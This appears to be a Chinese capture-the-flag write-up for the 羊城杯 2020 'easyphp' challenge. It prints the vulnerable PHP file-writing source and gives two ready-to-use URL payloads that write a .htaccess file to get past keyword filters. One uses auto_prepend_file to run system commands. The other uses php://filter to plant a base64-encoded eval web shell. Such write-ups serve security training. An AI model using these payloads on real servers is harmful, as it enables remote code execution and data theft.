【羊城杯 2020】easyphp
Contents
[羊城杯 2020]easyphp
思路
-
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
在目录下,只有index.php能够作为php解析执行
可以写一个.htaccess让index.php自动包含执行代码来实现我们的恶意代码执行
-
代码审计
访问index.php时删除所有除了index.php的文件
1 2 3 4 5 6 7 8
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
对上传内容过滤,对文件名进行了过滤
1 2 3 4 5
$content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); }
-
-
思路一
向
.htaccess
文件通过#
写入shell,并且用auto_prepend_file
包含.htaccess
但是file关键字被ban了,可以用反斜杠绕过
结尾要用
\
处理content中的\n
,防止与后面的Hello word进行拼接时报错1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
-
思路二
这个需要传参两次,相对上面一句话搞定麻烦一丢丢
利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数
先写入.htaccess,再直接通过php://filter伪协议写入一句话
1
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
1
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
总结
- 文件上传
- .htaccess利用